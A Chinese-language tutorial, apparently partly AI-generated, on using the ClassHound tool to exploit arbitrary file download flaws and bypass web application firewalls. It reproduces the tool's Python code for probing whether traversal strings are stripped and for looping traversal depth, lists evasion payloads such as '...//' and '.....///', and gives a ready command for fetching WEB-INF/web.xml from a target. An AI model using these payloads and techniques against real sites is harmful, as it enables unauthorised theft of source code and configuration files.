ClassHound高级技巧:突破WAF限制的文件遍历字符优化方案
ClassHound高级技巧:突破WAF限制的文件遍历字符优化方案
【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHound
ClassHound是一款强大的文件下载工具,专为利用任意文件下载漏洞循环下载反编译Class文件以获取网站Java源代码而设计。在实际渗透测试中,Web应用防火墙(WAF)常常会对文件遍历字符进行检测和拦截,本文将分享突破WAF限制的文件遍历字符优化方案,帮助你更高效地使用ClassHound。
一、WAF对文件遍历字符的常见拦截方式
WAF通常会对常见的文件遍历字符如../进行检测和过滤,当检测到这些字符时,会阻止请求或返回错误页面。这给ClassHound的正常使用带来了挑战,因此需要对文件遍历字符进行优化。
二、ClassHound中的文件遍历字符设置
在ClassHound中,可以通过命令行参数来指定文件遍历字符和字符数量。相关代码如下:
parser.add_argument('-tc', '--travel-char', dest='travel_char', default='', help='specify travel char like ../') parser.add_argument('-cc', '--char-count', dest='travel_char_count', default=-1, type=int, help='travel char count number')通过-tc参数可以指定文件遍历字符,默认是../;通过-cc参数可以指定文件遍历字符的数量。
三、突破WAF限制的文件遍历字符优化方案
3.1 自动探测合适的文件遍历字符
ClassHound具有自动探测文件遍历字符的功能。当未指定遍历字符时,它会先尝试使用../,然后通过在正常文件名中插入特定字符来探测目标是否会替换这些字符为空字符,从而确定合适的遍历字符。相关代码如下:
if not travel_char: travel_char = '../' # 正常文件名倒数第二位插入 ./ 探测目标是否会替换 ./ 为空字符 change_travel_path(normal_path[:-1] + './' + normal_path[-1]) char_status_code, char_content = request() # 被替换 if char_status_code == normal_status_code and char_content == normal_content: travel_char = '...//' # 正常文件名倒数第二位插入 ../ 探测目标是否会替换 ../ 为空字符 change_travel_path(normal_path[:-1] + '../' + normal_path[-1]) char_status_code, char_content = request() # 被替换 if char_status_code == normal_status_code and char_content == normal_content: travel_char = '.....///' else: # 正常文件名倒数第二位插入 ../ 探测目标是否会替换 ../ 为空字符 change_travel_path(normal_path[:-1] + '../' + normal_path[-1]) char_status_code, char_content = request() # 被替换 if char_status_code == normal_status_code and char_content == normal_content: travel_char = '....//'这种自动探测机制可以帮助我们快速找到能够绕过WAF检测的文件遍历字符。
3.2 调整文件遍历字符数量
除了选择合适的文件遍历字符外,调整字符数量也是突破WAF限制的重要方法。ClassHound允许通过-cc参数手动指定遍历字符数量,也可以在未指定时自动尝试不同的数量。相关代码如下:
if travel_char_count != -1: change_travel_path(travel_char * travel_char_count + _tf) try_status_code, try_content = request() if try_content and try_status_code == normal_status_code and keyword not in str(try_content): save_file(workspace, _tf, try_content) print('\r[+] Travel Char: [{}] Count: [{}]. Success download: [{}]'.format(travel_char, travel_char_count, _tf)) else: for x in range(1, max_count + 1): change_travel_path(travel_char * x + _tf) try_status_code, try_content = request() if try_content and try_status_code == normal_status_code and keyword not in str(try_content): travel_char_count = x if travel_char_count == 0 else travel_char_count save_file(workspace, _tf, try_content) print('\r[+] Travel Char: [{}] Count: [{}]. Success download: [{}]'.format(travel_char, travel_char_count, _tf)) break通过尝试不同数量的文件遍历字符,我们可以找到能够绕过WAF检测的最佳数量。
3.3 使用特殊的文件遍历字符组合
除了上述方法外,还可以尝试使用一些特殊的文件遍历字符组合,如...//、....//、.....///等。这些组合可能不会被WAF识别为文件遍历字符,从而成功绕过检测。
四、实际应用示例
假设我们要下载目标网站的WEB-INF/web.xml文件,而WAF拦截了../字符。我们可以使用以下命令来突破WAF限制:
python classhound.py -u http://target.com/download.jsp?path=images/#1.png# -tc ...// -cc 3在这个命令中,我们使用-tc ...//指定文件遍历字符为...//,使用-cc 3指定字符数量为3。通过这种方式,ClassHound可以生成...//...//...//WEB-INF/web.xml这样的路径,从而绕过WAF的检测,成功下载文件。
五、总结
突破WAF限制的文件遍历字符优化是使用ClassHound的关键技巧之一。通过自动探测合适的文件遍历字符、调整字符数量以及使用特殊的字符组合,我们可以有效地绕过WAF的检测,获取目标网站的Java源代码。在实际应用中,我们需要根据具体的WAF规则和目标网站的情况,灵活选择和调整这些优化方案,以达到最佳的效果。
如果你想了解更多关于ClassHound的使用方法,可以查看项目中的README.md文件,其中包含了详细的参数说明和使用示例。同时,ClassHound的源代码也可以在classhound.py中找到,你可以根据自己的需求进行修改和扩展。
要开始使用ClassHound,你可以通过以下命令克隆仓库:
git clone https://gitcode.com/gh_mirrors/cl/ClassHound希望本文分享的高级技巧能够帮助你更好地使用ClassHound,在渗透测试中取得更好的成果! 🚀
【免费下载链接】ClassHound利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码项目地址: https://gitcode.com/gh_mirrors/cl/ClassHound
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
